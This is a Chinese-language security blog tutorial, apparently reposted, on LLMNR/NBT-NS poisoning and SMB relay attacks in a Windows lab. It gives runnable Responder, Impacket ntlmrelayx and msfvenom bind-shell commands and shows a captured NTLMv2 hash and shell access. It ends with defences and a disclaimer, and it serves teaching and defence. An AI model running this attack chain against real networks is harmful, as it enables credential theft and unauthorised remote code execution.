LLMNR/NBT-NS与SMB中继攻击

admin 2026-04-21 02:18:49 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细解析了Windows内网环境中利用LLMNR/NBT-NS名称解析机制与SMB中继攻击的技术原理。攻击者通过Responder工具监听网络请求并冒充服务器,捕获NTLM认证信息后使用Impacket的ntlmrelayx将认证凭据中继至目标服务器实现横向移动。文档包含完整攻击演示步骤,并指出防御关键在于禁用LLMNR/NBT-NS、强制SMB签名、网络分段等措施。 综合评分: 87 文章分类: 内网渗透,红队,漏洞分析,安全工具,实战经验


cover_image

LLMNR / NBT-NS 与 SMB 中继攻击

原创

寰宇秘阁 寰宇秘阁

寰宇密阁

2026年4月3日 10:00 安徽

在小说阅读器读本章

去阅读

在前文的中间人攻击(ARP Spoofing)中,我们通过主动操纵网络流量来窃取凭据。而在 Windows 内网环境中,还存在一种更加隐蔽、几乎“被动”的凭据捕获方式利用名称解析广播机制(LLMNR / NBT-NS)与 SMB 中继(SMB Relaying)

这种攻击不需要 ARP 欺骗,流量更“安静”,在真实企业网络中尤其危险。


一、Windows 名称解析机制简介

当 Windows 访问一个服务名(例如 UNC 路径)时,如果它无法直接解析该名称,就会按照固定顺序尝试解析:

Windows 名称解析顺序

  1. 本地 hosts 文件
  • %SystemRoot%\System32\Drivers\Etc\hosts
  1. DNS
  2. LLMNR(Link-Local Multicast Name Resolution)
  3. NetBIOS(NBT-NS)

二、LLMNR / NBT-NS 为何存在安全风险?

1. LLMNR(多播)

  • 向局域网内的主机发送多播请求
  • 询问:“谁是这个名字?”

2. NBT-NS(广播)

  • 使用 NetBIOS 广播请求名称

问题在于:

  • ❌ 请求不加密
  • ❌ 响应不验证合法性
  • ✅ 任意主机都可以“抢答”

三、攻击核心思路

攻击者只需:

  1. 监听网络中的 LLMNR / NBT-NS 请求
  2. 冒充被询问的服务器名称
  3. 接受客户端的连接
  4. 触发 NTLM 认证流程
  5. 记录或转发认证信息

这一过程在初始阶段完全是被动的,因此:

很难被传统流量检测手段发现


四、Responder:自动化 LLMNR / NBT-NS 攻击工具

1. 工具简介

  • 作者:Laurent Gaffie

  • 默认集成在 Kali Linux

  • 功能:

  • LLMNR / NBT-NS poisoning

  • 捕获 NTLM 认证

  • 提供多种伪造服务(SMB、HTTP、LDAP 等)


2. 启动 Responder

root@kali:~# responder -I eth0 -i 10.10.0.94

参数说明:

| 参数 | 含义 | | — | — | | -I | 监听的网络接口 | | -i | 提供服务的 IP 地址 |

启动后可看到当前启用的协议和服务:

LLMNR [ON]
NBT-NS [ON]
SMB server [ON]
HTTP server [ON]
...
Listening for events ...

五、触发名称解析(实验复现)

在 Windows 10 目标机上:

  1. 打开 文件资源管理器
  2. 在地址栏输入:
\\nonexisting

要求:

  • 该名称在 hosts 和 DNS 中都不存在

此时,Windows 会发送 LLMNR / NBT-NS 请求。


六、Responder 捕获 NTLM 凭据

Responder 回复名称解析请求,并直接触发 SMB 连接:

[SMBv2] NTLMv2-SSP Username : HSILAB\gazelle01
[SMBv2] NTLMv2-SSP Hash : gazelle01::HSILAB:481395d013...

拿到的是什么?

  • ✅ NTLMv2 哈希
  • ❌ 明文密码(默认无法直接获得)

后续利用方式

  • 离线破解(如 John the Ripper)
  • SMB 中继攻击(更危险)

七、SMB 中继攻击(SMB Relaying)原理

即使密码很强、无法破解:

也不代表认证本身没用

SMB 中继的核心思想:

  1. 捕获 NTLM 认证请求
  2. 将该请求原封不动转发到另一台服务器
  3. 利用目标服务器完成认证
  4. 攻击者在中间“坐享其成”

攻击过程中:

  • 实际用户以为认证失败
  • 攻击者已成功登录服务器

八、使用 Impacket 进行 SMB 中继

1. 安装 Impacket

git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket/
python3 setup.py install
ntlmrelayx.py --help

2. 准备 Payload(msfvenom)

生成一个在目标服务器上执行的 EXE,用于打开 shell:

msfvenom -p windows/x64/shell_bind_tcp LPORT=6666\
-f exe > bind.exe

九、配置 Responder(关键步骤)

由于 responder 自带 HTTP / SMB 服务,会与 ntlmrelayx 冲突:

修改配置文件

/etc/responder/Responder.conf
  • 将以下服务设为 OFF

  • SMB

  • HTTP

启动后确认:

SMB server [OFF] !
HTTP server [OFF] !

十、启动 ntlmrelayx

ntlmrelayx.py -t smb://10.10.0.132:445 \
-smb2support\
-e ~/bind.exe

参数说明:

| 参数 | 说明 | | — | — | | -t | 中继目标 | | -e | 成功后执行的程序 | | -smb2support | 支持现代 SMB |


十一、攻击成功后的效果

ntlmrelayx 自动完成:

  • 连接目标服务器
  • 访问 ADMIN$ 共享
  • 上传 EXE
  • 创建并启动服务
Creating service sKfy...
Starting service sKfy...

连接目标 Shell

nc10.10.0.132 6666
C:\Windows\System32> ipconfig

攻击者已获得服务器命令执行权限。


十二、攻击前提与扩展

成功条件(本例):

  • NTLM 认证未开启签名
  • 用户对目标服务器拥有管理员权限

但需注意:

  • SMB 中继 不限于 SMB

  • 不一定需要管理员权限

  • 可中继至:

  • Outlook Web Access(OWA)

  • 内部门户

  • 其他 NTLM Web 服务


十三、防御视角简述

关键防御措施包括:

  • ✅ 禁用 LLMNR / NBT-NS
  • ✅ 强制 SMB Signing
  • ✅ 最小权限原则
  • ✅ 减少 NTLM 依赖,使用 Kerberos
  • ✅ 网络分段

结语

LLMNR / NBT-NS 与 SMB 中继攻击的危险之处在于:

不需要主动攻击 不需要 ARP 欺骗 几乎完全依赖系统的“默认行为”

在现代内网中,这类攻击已成为横向移动与权限提升的经典入口


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:寰宇密阁 寰宇秘阁 寰宇秘阁《LLMNR / NBT-NS 与 SMB 中继攻击》

评论:0   参与:  0